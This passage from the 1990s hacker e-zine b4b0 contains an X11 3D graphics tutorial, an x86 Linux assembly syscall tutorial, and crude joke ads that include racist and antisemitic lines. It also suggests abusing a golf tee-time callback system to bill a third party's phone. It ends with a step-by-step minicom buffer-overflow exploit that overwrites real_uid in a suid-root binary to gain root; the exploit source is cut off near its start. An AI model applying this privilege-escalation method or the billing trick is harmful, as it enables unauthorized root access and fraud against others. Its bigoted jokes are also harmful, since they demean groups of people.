  762.  XClearWindow(display, window);
  763. }
  764. viewing_distance=0;
  765. }
  766. }
  767.  
  768.  
  769. int point(struct point *coord)
  770. {
  771. XDrawPoint(display, window, graph, coord->x, coord->y);
  772. }
  773.  
  774.  
  775.  
  776.  
  777. void setup(void)
  778. {
  779. viewing_distance=0;
  780. display=XOpenDisplay(NULL);
  781. assert(display);
  782.  
  783. blackcolor=BlackPixel(display, DefaultScreen(display));
  784. whitecolor=WhitePixel(display, DefaultScreen(display));
  785.  
  786. window=XCreateSimpleWindow(display,DefaultRootWindow(display), 0, 0, 800, 800,
  787.                          0, blackcolor, blackcolor);
  788.  
  789. XSelectInput(display, window, StructureNotifyMask);
  790.  
  791. XMapWindow(display, window);
  792.  
  793. graph=XCreateGC(display, window, 0, NULL);
  794.  
  795. XSetForeground(display, graph, whitecolor);
  796. }
  797.  
  798.  
  799.  
  800.  
  801.  
  802.  
  803.  
  804. /*****************************************************************************
  805. ************************END 3d_tutorial_starfield.c*************************
  806. ****************************************************************************/
  807.  
  808.  
  809. NO! You don't understand it yet! Go back and study it some more !
  810.  
  811. Ok, if you don't understand the above program, you'll be clueless for the
  812. rest of the tutorial, so FUCK YOU!@$
  813.  
  814. Anyways, wh0rd, we plotted tons of 3d points on the screen and moved em
  815. around..  Now, it'd be nice to be able to project shapes onto the screen.
  816. To do this, all we need to do is project individual points onto the screen
  817. and then draw lines in between them.
  818.  
  819. The way I did this in the next example is to have a struct shape{} that
  820. defined connections between points...
  821.  
  822. There's also a rotation function in here that I'm not going to explain (I
  823. suck at trig and I couldn't explain it worth shit... feel free to rip it
  824. tho ;)
  825.  
  826. You might call the below program a 3d "engine", because it provides a set
  827. of functions to display and manipulate 3d objects.
  828.  
  829.  
  830.  
  831. /*************************************************************************
  832.  ************BEGIN minimalist_3d_engine_example.c ************************
  833.  *************************************************************************
  834.  */
  835.  
  836. // camera-less wireframe 3d engine by jsbach
  837.  
  838.  
  839. #include <X11/Xlib.h>
  840. #include <assert.h>
  841. #include <unistd.h>
  842. #include <stdlib.h>
  843. #include <stdio.h>
  844. #include <math.h>
  845. #define MAXPOINTS 50
  846. #define MAXCONNECTIONS 9
  847.  
  848. Display *display;
  849. Window window;
  850. GC graph;
  851. int blackcolor, whitecolor, count, count,subscript, bleh=0;
  852. float viewing_distance;
  853. /***************** STRUCTURES ***********************/
  854.  
  855. struct point {
  856. float x;
  857. float y;
  858. float z;
  859. int connection[MAXCONNECTIONS];
  860. int numconnections;
  861. };
  862.  
  863.  
  864. struct projection {
  865. float x;
  866. float y;
  867. };
  868.  
  869. struct object {
  870. struct point points[MAXPOINTS];
  871. struct projection twodee[MAXPOINTS];
  872. struct point location;
  873. char numpoints;
  874. }cube;
  875.  
  876.  
  877.  
  878. /******************* PROTOTYPES ************************/
  879.  
  880. void drawobject(struct object shape);
  881. void eraseobject(struct object shape);
  882. void rotate(struct object *shape, float degrees_x, float degrees_y);
  883. void project(struct object *shape);
  884. void initialize_shapes(void);
  885. void setup(void);
  886.  
  887.  
  888.  
  889. /***************** MAIN LOOP "!"!"!"!"!"! *****************/
  890.  
  891. void main(int argc, int **argv)
  892. {
  893. setup();
  894. /* **********INITILIZATIONS************************** */
  895.  
  896. subscript=0;
  897.  
  898. subscript++;
  899. cube.points[subscript].x=100;
  900. cube.points[subscript].y=100;
  901. cube.points[subscript].z=100;               // 0
  902. cube.points[subscript].connection[0]=1;
  903. cube.points[subscript].connection[1]=2;
  904. cube.points[subscript].connection[2]=3;
  905. cube.points[subscript].numconnections=3;
  906.  
  907. subscript++;
  908. cube.points[subscript].x=-100;
  909. cube.points[subscript].y=100;
  910. cube.points[subscript].z=100;
  911. cube.points[subscript].connection[0]=4;
  912. cube.points[subscript].connection[1]=6;
  913. cube.points[subscript].connection[2]=7;
  914. cube.points[subscript].numconnections=3;
  915.  
  916. subscript++;
  917. cube.points[subscript].x=100;
  918. cube.points[subscript].y=-100;
  919. cube.points[subscript].z=100;
  920. cube.points[subscript].connection[0]=4;
  921. cube.points[subscript].connection[1]=5;
  922. cube.points[subscript].connection[2]=7;
  923. cube.points[subscript].numconnections=3;
  924.  
  925. subscript++;
  926. cube.points[subscript].x=100;
  927. cube.points[subscript].y=100;
  928. cube.points[subscript].z=-100;
  929. cube.points[subscript].connection[0]=5;
  930. cube.points[subscript].connection[1]=6;
  931. cube.points[subscript].connection[2]=7;
  932. cube.points[subscript].connection[3]=8;
  933. cube.points[subscript].numconnections=4;
  934.  
  935. subscript++;
  936. cube.points[subscript].x=-100;
  937. cube.points[subscript].y=-100;
  938. cube.points[subscript].z=100;
  939. cube.points[subscript].connection[0]=5;
  940. cube.points[subscript].connection[1]=6;
  941. cube.points[subscript].connection[2]=7;
  942. cube.points[subscript].connection[3]=8;
  943. cube.points[subscript].numconnections=4;
  944.  
  945.  
  946. subscript++;
  947. cube.points[subscript].x=100;
  948. cube.points[subscript].y=-100;
  949. cube.points[subscript].z=-100;  // 5
  950. cube.points[subscript].connection[0]=5;
  951. cube.points[subscript].connection[1]=6;
  952. cube.points[subscript].connection[2]=7;
  953. cube.points[subscript].connection[3]=8;
  954. cube.points[subscript].numconnections=4;
  955.  
  956. subscript++;
  957. cube.points[subscript].x=-100;
  958. cube.points[subscript].y=100;  // 6
  959. cube.points[subscript].z=-100;
  960. cube.points[subscript].connection[0]=5;
  961. //cube.points[subscript].connection[1]=6;
  962. cube.points[subscript].connection[2]=7;
  963. cube.points[subscript].connection[3]=8;
  964. cube.points[subscript].numconnections=3;
  965.  
  966.  
  967. subscript++;
  968. cube.points[subscript].x=-100;
  969. cube.points[subscript].y=-100;  // 7
  970. cube.points[subscript].z=-100;
  971. cube.points[subscript].connection[0]=5;
  972. cube.points[subscript].connection[1]=6;
  973. cube.points[subscript].connection[2]=7;
  974. cube.points[subscript].connection[3]=8;
  975. cube.points[subscript].numconnections=4;
  976.  
  977.  
  978.  
  979.  
  980.  
  981.  
  982.  
  983. cube.location.x=300;
  984. cube.location.y=300;
  985. cube.location.z=300;
  986.  
  987.  
  988. cube.numpoints=8;
  989. viewing_distance=150;
  990. /***********************************************/
  991. /***********************************************/
  992. XSetForeground(display, graph, whitecolor);
  993. XFillRectangle(display, window, graph, 0, 0, 800, 1000);
  994.  
  995. /* animation */
  996. while(1)
  997.   {
  998.    project(&cube);
  999.    rotate((struct object *)&cube, .0005, .0005);
  1000.  
  1001.   //cube.location.z+=.1;
  1002.  //cube.location.x+=.1;
  1003. //cube.location.y-=10;
  1004.   viewing_distance+=.03;
  1005.   if (viewing_distance > 320 )
  1006.    viewing_distance=0;
  1007.    eraseobject(cube); /* this call is the bottleneck... */
  1008.    drawobject(cube);
  1009.   }
  1010. }
  1011. /******************** END MAIN LOOP BAHAHAHAH ************/
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021. /*************** FUNCTIONS *****************/
  1022.  
  1023. void drawpoint(struct point coord)
  1024. {
  1025. XDrawPoint(display, window, graph, coord.x, coord.y);
  1026. }
  1027.  
  1028.  
  1029. /**************** DRAW OBJECT *****************/
  1030.  
  1031. void drawobject(struct object shape)
  1032. {
  1033. int temp;
  1034. int temp2;
  1035. XSetForeground(display, graph, whitecolor);
  1036. for(temp=shape.numpoints; temp > 1; temp--)
  1037.   {
  1038.   for(temp2=shape.points[temp].numconnections; temp2>0;temp2--)
  1039.     {
  1040.        XDrawLine(display, window, graph, shape.twodee[temp].x,
  1041.             shape.twodee[temp].y,
  1042.             shape.twodee[shape.points[temp].connection[temp2]].x,
  1043.             shape.twodee[ shape.points[temp].connection[temp2]].y);
  1044.      }
  1045.    }
  1046.   XFlush(display);
  1047. }
  1048.  
  1049.  
  1050. void eraseobject(struct object shape)
  1051. {
  1052. int temp;
  1053. int temp2;
  1054. XSetForeground(display, graph, blackcolor);
  1055.  
  1056. for(temp=shape.numpoints; temp > 1; temp--)
  1057.   {
  1058.   for(temp2=shape.points[temp].numconnections; temp2>0;temp2--)
  1059.     {
  1060.   XDrawLine(display, window, graph, shape.twodee[temp].x,
  1061.             shape.twodee[temp].y,
  1062.             shape.twodee[shape.points[temp].connection[temp2]].x
  1063.             ,
  1064.             shape.twodee[ shape.points[temp].connection[temp2]].y
  1065.             );
  1066.      }
  1067.    }
  1068.   XFlush(display);
  1069. }
  1070. /************* PROJECT OBJECT **********************/
  1071.  
  1072. void project(struct object *shape)
  1073. {
  1074. int temp;
  1075. for(temp=shape->numpoints; temp > -1; temp--)
  1076.   {
  1077.     if(shape->points[temp].z == 0)
  1078.       shape->points[temp].z=100;
  1079.    // printf("z is %f \n x is %f \n y is %f \n", shape->points[temp].z, shape-
  1080. >points[temp].y, shape->points[temp].x);
  1081.     shape->twodee[temp].x=(((shape->points[temp].x + shape-
  1082. >location.x)*viewing_distance)/
  1083.                            (shape->points[temp].z+shape->location.z))+150;
  1084.     shape->twodee[temp].y=(((shape->points[temp].y+shape-
  1085. >location.y)*viewing_distance)/
  1086.                            (shape->points[temp].z+shape->location.z))+150;
  1087.   }
  1088. }
  1089.  
  1090. /********************** ROTATION ************************/
  1091. void rotate(struct object *shape, float degrees_x, float degrees_y)
  1092. {
  1093. int temp;
  1094. for(temp=shape->numpoints; temp > 0; temp--)
  1095.   {
  1096.     shape->points[temp].x=((shape -> points[temp].x*cos(degrees_x)) -
  1097.       (shape -> points[temp].y*sin(degrees_x)));
  1098.     shape -> points[temp].y=((shape->points[temp].x*sin(degrees_y)) +
  1099.       (shape -> points[temp].y*cos(degrees_y)));
  1100.    // shape -> points[temp].z=((shape->points[temp].z*sin(degrees)) +
  1101.      // (shape -> points[temp].z*cos(degrees)));
  1102.  
  1103.   }
  1104. }
  1105.  
  1106.  
  1107. /************************** SETUP *****************/
  1108.  
  1109.  
  1110. void setup(void)
  1111. {
  1112. viewing_distance=10;
  1113. display=XOpenDisplay(NULL);
  1114. assert(display);
  1115.  
  1116. blackcolor=BlackPixel(display, DefaultScreen(display));
  1117. whitecolor=WhitePixel(display, DefaultScreen(display));
  1118.  
  1119. window=XCreateSimpleWindow(display,DefaultRootWindow(display), 0, 0, 800,1000,
  1120.                            0, blackcolor, blackcolor);
  1121.  
  1122. XSelectInput(display, window, StructureNotifyMask);
  1123.  
  1124. XMapWindow(display, window);
  1125.  
  1126. graph=XCreateGC(display, window, 0, NULL);
  1127.  
  1128. XSetForeground(display, graph, whitecolor);
  1129. for(;;) {
  1130.         XEvent e;
  1131.         XNextEvent(display, &e);
  1132.         if (e.type == MapNotify)
  1133.             break;
  1134.  
  1135. }
  1136. XEventsQueued(display, QueuedAfterFlush);
  1137. XFlush(display);
  1138. }
  1139.  
  1140.  
  1141. /************************************************************************
  1142. *****************  END minimalist_3d_engine_example.c  ******************
  1143. ************************************************************************/
  1144.  
  1145.  
  1146. OK, this was a simple and confusing tutorial! Wait for b4b0.4 !! By then I
  1147. will have finished a REAL TEXTURE MAPPED THREE DEE GRAPHICZ ENGINE IN
  1148. XLIB!$@@!@@!!@
  1149.  
  1150. have fun
  1151.  
  1152. - jsbach
  1153.  
  1154. [ asm on de Linux/x86 - chrak  ]-x- -x- -x- -x- -x- -x- -x- -x--x- -x-
  1155. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  1156. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1157. asm on de Linux/x86
  1158.  
  1159. prerequisite:
  1160. 1) you know basic x86 asm, and a bit about protected mode.
  1161. 2) for this article well be using at&t synthax, simply becuase everyone
  1162. will have the assembler already, and its used by gcc
  1163.  
  1164. for all the examples here just set up a file like:
  1165. int main(void)
  1166. {
  1167.    __asm__("
  1168.    example code here
  1169.    ");
  1170. }
  1171. If you dont meet the prerequisites go find the
  1172. INTEL 80386 PROGRAMMER'S REFERENCE MANUAL on the web.
  1173. Get the "Intel Architecture Software Developer's Manual" volumes 1 - 3 in pdf
  1174. format at:
  1175. ftp://download.intel.com/design/pentium/manuals/24319001.PDF   vol. 1
  1176. ftp://download.intel.com/design/pentium/manuals/24319201.pdf   vol. 3
  1177. To learn the gnu as asembler goto http://www.freebsd.org/info/as-all
  1178. and also just play around with gcc's -S option.
  1179. we can use all our code inbedded [s1c] into a gcc src file also, by using
  1180. the __asm__ keyword. Although this isnt portable to other compilers.
  1181.  
  1182.  
  1183. 1:syscalls
  1184. 2:sys_socketcall
  1185. 3:using lib functions
  1186. 4:debugging
  1187. 5:a full example
  1188. 6:el fin
  1189.  
  1190. 1:syscalls
  1191. bleh.
  1192. the syscall numbers can be found in <sys/syscall.h>
  1193. most of them behave like their libc wrappers
  1194. for example to fork u could do this:
  1195. movl $2, %eax     # 2 = SYS_fork
  1196. int $0x80         # Linux
  1197. the syscall used is based on the value of eax at the time the interrupt
  1198. occurs, sys_fork does not have any arguments so the other general registers
  1199. are ignored. The code
  1200.  
  1201. movl $0x4647, (%ebp)  # movs GF to the addr in ebp
  1202. movl $4, %eax         # 4 = SYS_write
  1203. movl $1, %ebx         # 1 = fileno(stdout)
  1204. leal (%ebp), %ecx     # loads the address of the 'GF' string
  1205. movl $2, %edx         # bytes to write
  1206. int $0x80
  1207.  
  1208. will write "GF" to stdout, Linux takes the values in the general registers
  1209. besides eax and uses them as args to the syscall. The order is the same
  1210. as the write(2) lib function: write(int fd, const void *buf, size_t count)
  1211. , this holds true for most (all?) lib functions.
  1212. The offset field of interrupt 0x80's descriptor in the idt points to the
  1213. system_call symbol in arch/i386/kernel/entry.S in the Linux src tree.
  1214. This code will call the address pointed to by the 4th entry in sys_call_table
  1215. (from 0). This is sys_write()'s address. The code for this function is in
  1216. fs/read_write.c, It is passed the values that were in ebx, ecx, and edx when
  1217. we interrupted. When the syscall returns it will set the registers back to
  1218. where they were before it started the only change will be that %eax contains
  1219. the return value.
  1220.  
  1221. 2:sys_socketcall
  1222. I've given this its own chapter becuase blah blah blah(i felt like it!)
  1223. This works like socketcall(2) libc function. All the other functions like
  1224. socket(), accept() and so on are just wrappers to socketcall() in libc.
  1225. anyway. lets say I wanted to create a socket. I could do:
  1226. sfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  1227. or
  1228. unsigned long args[] = { AF_INET, SOCK_STREAM, IPPROTO_IP };
  1229. sfd = socketcall(SYS_SOCKET, args);
  1230. or
  1231. movl $2, -12(%ebp)           # 2 = AF_INET
  1232. movl $1, -8(%ebp)            # 1 = SOCK_STREAM
  1233. movl $0, -4(%ebp)            # 0 = IPPROTO_IP
  1234. movl $102, %eax              # 102 = SYS_socketcall
  1235. movl $1, %ebx                # 1 = SYS_SOCKET
  1236. leal -12(%ebp), %ecx         # load addr of socket args
  1237. int $0x80
  1238.  
  1239. the socketcall call args are defined in <linux/net.h>, the args are the same
  1240. as the libc functions arguments. Its similar for all other socketcall calls.
  1241. Here is a SYS_CONNECT example:
  1242.                              # equiv of a sockaddr struct
  1243. movw $2, -20(%ebp)           # sockaddr family = AF_INET
  1244. movw $5376, -18(%ebp)        # sockaddr port = 5376 = htons(21)
  1245. movl $0, -16(%ebp)           # sockaddr addr = 0
  1246.  
  1247. movl $8, -12(%ebp)           # assuming 8 is a valid fd
  1248. leal -20(%ebp), %eax         # load addr of sockaddr struct
  1249. movl %eax, -8(%ebp)
  1250. movl $16, -4(%ebp)           # 16 = sizeof(struct sockaddr)
  1251. movl $102, %eax              # 102 = SYS_socketcall
  1252. movl $3, %ebx                # 3 = SYS_CONNECT
  1253. leal -12(%ebp), %ecx         # load addr of connect args
  1254. int $0x80
  1255.  
  1256. 3:using lib functions
  1257. to use a function from libc or whatever just push its args onto the stack,
  1258. and call it. For example to print the string "Hello world" we could do:
  1259.  
  1260. pushl $MSG             # push addr of string onto stack
  1261. call puts              # call puts
  1262. pushl $0               # push 0 onto stack
  1263. call exit              # call exit
  1264. MSG:
  1265. .string \"Hello world\" # null terminated string
  1266.  
  1267. This prints out the string, and exits with 0.
  1268. Multiple arguments are pushed in backwards order, because we have a lifo stack.
  1269. i.e. func(1, 2, 3) would be: push 3 push 2 push 1 call func.
  1270.  
  1271. 4:debugging
  1272. ok, so your program does nothing or coredumps
  1273. using strace is excellent for seeing whats going on
  1274. for example, In the SYS_CONNECT example, if there was an error we would be able
  1275. to find it quickly by 'strace a.out' or whatever its name was.
  1276.  
  1277. connect(8, {sin_family=AF_INET, sin_port=htons(21), sin_addr=inet_addr("0.0.0.0"
  1278. )}, 16) = -1 EBADF (Bad file number)
  1279.  
  1280. The problem here was that 8 was not a valid fd
  1281. The following example will core dump if ran in an application:
  1282.  
  1283. hlt
  1284. pushl $5
  1285. call exit
  1286.  
  1287. This is because hlt can not be used in a segment with a CPL higher then 0.
  1288. Lets assume we didn't know this and wanted to figure out why our program was
  1289. 'FUK3d!'. This is condensed a bit:
  1290.  
  1291. gdb program
  1292. (gdb) run
  1293. Program received signal SIGSEGV, Segmentation fault.
  1294. 0x804841b in main ()
  1295. (gdb) x/i 0x804841b
  1296. 0x804841b <main+3>:     hlt
  1297.  
  1298. Now we know where the problem is.
  1299.  
  1300. 5:a full example
  1301.  
  1302. /* writes host 0's ftp banner thing to stdout */
  1303.  
  1304. char error_msg[] = "err0r\n";   /* we can use global variables */
  1305. void main(void)
  1306. {
  1307.   __asm__("
  1308.         movl $2, -12(%ebp)           # 2 = AF_INET
  1309.         movl $1, -8(%ebp)            # 1 = SOCK_STREAM
  1310.         movl $0, -4(%ebp)            # 0 = IPPROTO_IP
  1311.         movl $102, %eax              # 102 = SYS_socketcall
  1312.         movl $1, %ebx                # 1 = SYS_SOCKET
  1313.         leal -12(%ebp), %ecx         # load addr of socket args
  1314.         int $0x80
  1315.         cmpl $-1, %eax
  1316.         jl ERROR
  1317.         movw $2, -20(%ebp)           # sockaddr family = AF_INET
  1318.         movw $5376, -18(%ebp)        # sockaddr port = 5376 = htons(21)
  1319.         movl $0, -16(%ebp)           # sockaddr addr = 0
  1320.         movl %eax, -12(%ebp)         # put sockfd
  1321.         leal -20(%ebp), %eax         # load addr of sockaddr struct
  1322.         movl %eax, -8(%ebp)
  1323.         movl $16, -4(%ebp)           # 16 = sizeof(struct sockaddr)
  1324.         movl $102, %eax              # 102 = SYS_socketcall
  1325.         movl $3, %ebx                # 3 = SYS_CONNECT
  1326.         leal -12(%ebp), %ecx         # load addr of connect args
  1327.         int $0x80
  1328.         cmpl $-1, %eax
  1329.         jl ERROR
  1330.         movl $3, %eax                # 3 = SYS_read
  1331.         movl -12(%ebp), %ebx         # get sockfd
  1332.         leal -80(%ebp), %ecx         # buffer
  1333.         movl $80, %edx               # 80 = count
  1334.         int $0x80
  1335.         cmp $-1, %eax
  1336.         jl ERROR
  1337.         movl $4, %eax                # 4 = SYS_write
  1338.         movl $1, %ebx                # 1 = fileno(stdout)
  1339.         int $0x80
  1340.         cmp $-1, %eax
  1341.         jl ERROR
  1342.         movl $0, %ebx                # returns 0 on success
  1343. EXIT:
  1344.         movl $1, %eax                # 1 = SYS_exit
  1345.         int $0x80
  1346. ERROR:
  1347.         movl $4, %eax                # 4 = SYS_write
  1348.         movl $1, %ebx                # 1 = fileno(stdout)
  1349.         movl $error_msg, %ecx             # load MSG1's addr
  1350.         movl $6, %edx                # 6 = strlen(MSG1)
  1351.         int $0x80
  1352.         movl $-1, %ebx               # returns -1 on failure
  1353.         jmp EXIT
  1354.   ");
  1355. }
  1356.  
  1357. 6:el fin
  1358.  
  1359. So dat about wraps it up for now ? Basically knowing this is only practical
  1360. for writing exploit shellcode or implimenting a library, but your not a
  1361. practical person, are you ? However it does give you an idea of how many levels
  1362. the system works at. Werd 2 fatima!
  1363.  
  1364.  
  1365. [b4b0 misc, w4rnings et cet3ra (ge0rge)] x- -x- -x- -x- -x- -x- -x- -x-
  1366. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  1367. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1368.  
  1369.                                 b4b0 misc..
  1370.                                 -----------
  1371.  
  1372. b4b0: with NEW cleansing action!
  1373. b4b0: Just do it.
  1374. b4b0 - Let the journey begin.
  1375. b4b0 - don't leave home without it.
  1376. b4b0 - clinically shown to actually *GROW* hair!
  1377. b4b0 - 4 out of 5 doctors recommend it! (the 5th one is black)
  1378. b4b0 - this box never closes!
  1379. b4b0 - doesn't fade colors like other brands do!
  1380. Viva la b4b0!
  1381. Did someone say b4b0?
  1382. Yo quiero b4b0!
  1383. b4b0: the histamine blocker.
  1384. Get a taste of the b4b0!
  1385. b4b0: quick allergy relief.
  1386. b4b0: for upset *stomachs*
  1387. b4b0, will help you get your 'z's!
  1388. b4b0 cookies and creme : smile more!
  1389. Like a good neighbor, b4b0 is there..
  1390. Just wait till we get our b4b0 on you!
  1391.  
  1392.                                 b4b0 warnings / other:
  1393.                                 ----------------------
  1394.  
  1395. - You may need to read b4b0 daily for three months or more to see visible
  1396. results. b4b0 will not regain all your eliteness. And if you stop using
  1397. this product you will gradually start losing the eliteness you have
  1398. gained. There is not sufficient evidence that b4b0 works for rsession at
  1399. the physical level. If you have seen results after 12 mones of using b4b0
  1400. further treatment is likely to be of benefit.
  1401.  
  1402. - Guns don't kill people. b4b0 kills people.
  1403.  
  1404. - f.b.s. (fetal b4b0 syndrome) can cause serious birth defects to your
  1405. child if you are reading b4b0 anytime during pregnancy. Such birth defects
  1406. can range from mild pigeon toe'd children to serious deformities of
  1407. organs, limbs, and other physical features inside the body. Please, do not
  1408. read b4b0 while pregnant.
  1409.  
  1410. - b4b0 if read in large doses can cause liver failure.
  1411.  
  1412. - *WARNING* b4b0's contents under extreme pressure *WARNING*
  1413.  
  1414. - WARNING! FLAMMABLE LIQUID AND VAPOR. VAPORS AND SPRAY MIST HARMFUL IF
  1415. INHALED. HARFUL OR FATAL IF SWALLOWED. MAY CAUSE CENTRAL NERVOUS SYSTEM
  1416. EFFECTS SUCH AS DIZZINESS, HEADACHE, NAUSEA. MAY CAUSE NOSE, THROAT, EYE
  1417. AND SKIN IRRITATION. CAN BE ABSORBED THROUGH THE SKIN.
  1418.  
  1419. - CAUTION: Keep Out Of Eyes!  In case of accidental eye contact, DO NOT
  1420. RUB EYES. Flush eyes throughly with water. If conditions worsen or
  1421. irritation persists, call a physician. If swallowed consult a physician or
  1422. poison control center. KEEP OUT OF REACH OF CHILDREN. FOR EXTERNAL USE
  1423. ONLY.
  1424.  
  1425. - WARNING: Extremely Flammable!
  1426.  
  1427.  
  1428. > b4b0's 0fficial song                  Doggie Tom Overture; Lords Of Acid
  1429. > b4b0's magazine                       Guns and Ammo
  1430. > b4b0's official controlled substance  Chelsea Clinton
  1431. > b4b0's official narcotic              morphine
  1432. > b4b0's country                        afghanistan
  1433. > b4b0's k-rad clothez                  b4b0 we4r
  1434. > b4b0's suggestion                     go fuck yourself
  1435. > The Official Food Supplier Of b4b0    burger king!
  1436. > Stuff that keeps b4b0 going           coffee
  1437. > Stuff that keeps b4b0 going too       Hustler Magazine (tm)
  1438. > Official b4b0 place of worship        your local synagogue!
  1439.  
  1440.  
  1441.  
  1442. [g0lf teleph0ny ju4r3z (Qytpo) ]-x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1443. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  1444. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1445.  
  1446. ######################## GOLF TELEPHONY JUAREZ ###########################
  1447.                       ##                       ##
  1448.                      ###         Qytpo         ###
  1449.                      ###                       ###
  1450.                       ###########################
  1451.  
  1452. 0kay. so i was house sitting for theze 0ld people in thiz el8 retirement
  1453. community. and eye was sitting 0n the t01let, taking a sh1t, when i came
  1454. across this article for the 0ld g0lfer k1dz in place, in a
  1455. pamphlet given to members of the retiremenet community.  Up0n reading it i
  1456. noticed some pretty silly things.
  1457.  
  1458. the art1cle bel0w iz a replica of the exact thing i read. l00k
  1459. specifically at the portion labeled "7"
  1460.  
  1461. begin 644 0day.g0lf.juarez
  1462.  
  1463. ----- MACCS Tee Time System - Procedure, Rules, and Regulations -----
  1464.  
  1465. The 1997-98 golf season is upon us.  Our computer system for taking tee
  1466. times is called MACCS, which stands for Message and Call Back Computer
  1467. System.  The times for call in and the phone numbers for our two phase III
  1468. golf courses are:
  1469.  
  1470. OAKWOOD/IRONWOOD                7:00 to 7:10AM        602-895-1805
  1471.  
  1472. Due to heavy phone line usage during the hours of 6:AM to 9:00AM, any
  1473. changes or cancellations in teetimes should be made only starting at 9:30
  1474. AM.  48 hours in advance by phone or in person, at each pro shop.  At 9:30
  1475. AM daily, each Pro Shop will sign up "Stand By's", alternating between
  1476. people in person and the telephone.
  1477.  
  1478. The MACCS system is a fair and efficient way to take tee times and also
  1479. keeps the personal touch of talking with a pro shop staff person.  The
  1480. system works as follows:
  1481.  
  1482.         1: Between 4:45 PM, and 5:3 AM, golfers can call 602-895-1805 for
  1483. tee times at oakwood or ironwood.  MACCS will give the offical time to the
  1484. second.
  1485.  
  1486.         2: Prompty at 7:00 AM, golfers can call 602-895-1805 for tee times
  1487. at Oakwood or Ironwood.  MACCS wll accept 150 calls during the
  1488. Oakwood/Ironwood call in period.
  1489.  
  1490.         3: MACCS will answer your call by saying "Please enter last four
  1491. digits of your phone number and end with the star key." (i.e., 6566*).
  1492. MACCS will then tell you what number call you are, say "Good Bye" and hang
  1493. up.  Golfers should punch in their phone number without delay.  It is not
  1494. the order the call was recieved, but the order in which valid numbers are
  1495. entered that counts.  The comptuter will then automatically call you back,
  1496. based on your caller number.  You will make your tee time then by talking
  1497. with a pro shop staff person.
  1498.  
  1499.         4: MACCS will automatically accept and verify the sequence of 150
  1500. calls in an estimated 10 minute period for Oakwood and Ironwood.  After
  1501. 150 calls have been taken in, MACCS will tell golfers no more calls are
  1502. being accepted at this time.  *please do not call or re-dial the tee time
  1503. number after that 10 minute period has passed.  MACCS must have open phone
  1504. lines in order to call the golfers back.*  If your call did not get
  1505. answered by MACCS during this 10 minute period, please call the next golf
  1506. course at the appropriate time.
  1507.  
  1508.         5: MACCS will keep trying to call you back, up to 3 minutes, when
  1509. a busy signal is recieved.
  1510.  
  1511.         6: Pulse phones are not acceptable to this MACCS system.  Phones
  1512. that are switchable must have the switch set to TONE.  If the caller makes
  1513. a mistake punching in the phone number, just press the pound(#) key and
  1514. MACCS will start the procedure over again.  You may substitute punching
  1515. "0000" for a non-functioning star(*) key and also punching "9999" for a
  1516. non-functioning pound(#) key.
  1517.  
  1518.         7: MACCS will call you back if you are outside the 895 phone
  1519. prefix area.  Just punch in the correct prefix (i.e., 802-5010).  If you
  1520. are in an area that requires a toll call, just punch in (1-602) before
  1521. your number (i.e., 1-602-248-6134). Finally, if you are in an area with a
  1522. different area code than 602, just punch in all 11 digits on your phone
  1523. number (i.e., 1-414-728-6001). Long distance calls will be charged back to
  1524. the caller by the pro shop.
  1525.  
  1526. Please feel free to ask your Pro Shop staff for assistance.
  1527. EOF
  1528. -------------------------------------------------------------------------------
  1529.  
  1530. 0kay so as you can see, th0u could have a bit of fun with this.  enter in
  1531. s0lo'z number 0ver and over and have him get billed perhapz. wh0 knowz.
  1532. the possiblities are endl3ss.  have fun kidz.
  1533.  
  1534.  
  1535. minicom versions less than 1.81.1 have many buffer overflow bugs
  1536.  
  1537. the one we will be exploiting is
  1538.  
  1539.                 case 't': /* Terminal type */
  1540. --->                    strcpy(termtype, optarg);
  1541.                 #ifdef __linux__
  1542.                         /* Bug in older libc's (< 4.5.26 I think) */
  1543.                         if ((s = getenv("TERMCAP")) != NULL && *s != '/')
  1544.                                 unsetenv("TERMCAP");
  1545.                 #endif
  1546.  
  1547. minicom ships suid root with slackware 3.5 so we will work from there.
  1548. now lets see. termtype is static, so we won't be able to do the
  1549. traditional buffer overflow of overwriting the return address.
  1550. but could there be useful information in memory past
  1551. termtype? we take a look at minicom.h and find
  1552.  
  1553.         EXTERN int real_uid;    /* Real uid */
  1554.         EXTERN int real_gid;    /* Real gid */
  1555.         EXTERN int eff_uid;     /* Effective uid */
  1556.         EXTERN int eff_gid;     /* Effective gid */
  1557.  
  1558. wow. the one we want is real_uid. lets see just how far it is past
  1559. termtype. we insert this in minicom.c:
  1560.  
  1561.         printf ("real_uid is at: %x\n"
  1562.                 "termtype is at: %x\n", &real_uid,termtype);
  1563.  
  1564. output:
  1565.         real_uid is at: 80664b4
  1566.         termtype is at: 8066480
  1567.  
  1568. so real_uid is just 52 bytes past the start of termtype!
  1569. we can take advantage of the fact that getopt() will keep reading the
  1570. same parameter over and over (in this case, "-t").  so we feed it 4
  1571. strings, the first one ending at the last memory location of real_uid
  1572. (termtype+55). this will set the last byte of real_uid to 0.
  1573. we do the same for (termtype+54),(termtype+53),and (termtype+52).
  1574. we also give minicom a "-t vt100" parameter so it won't exit with
  1575. `no termcap entry'
  1576.  
  1577. -- start new.minicom.c --
  1578.  
  1579. #include <stdio.h>
  1580. #include <string.h>
  1581. #include <unistd.h>
  1582.  
  1583. #define OFFSET          52
  1584.  
  1585. /* if you figure this out, you could try defining it */
  1586. //#define UTTY "/dev/ttyp0"
  1587.  
  1588. char * makestring (int ch, int len)
  1589. {
  1590.         static char b[500];
  1591.         int     i;
  1592.  
  1593.         for (i=0 ; i<len ; i++)
  1594.         {
  1595.                 b[i] = ch;
  1596.         }
  1597.         b[i] = 0;
  1598.         return b;
  1599. }
  1600.  
  1601. int main (int argc, char **argv)
  1602. {
  1603.         char    bleh[4][60];
  1604.  
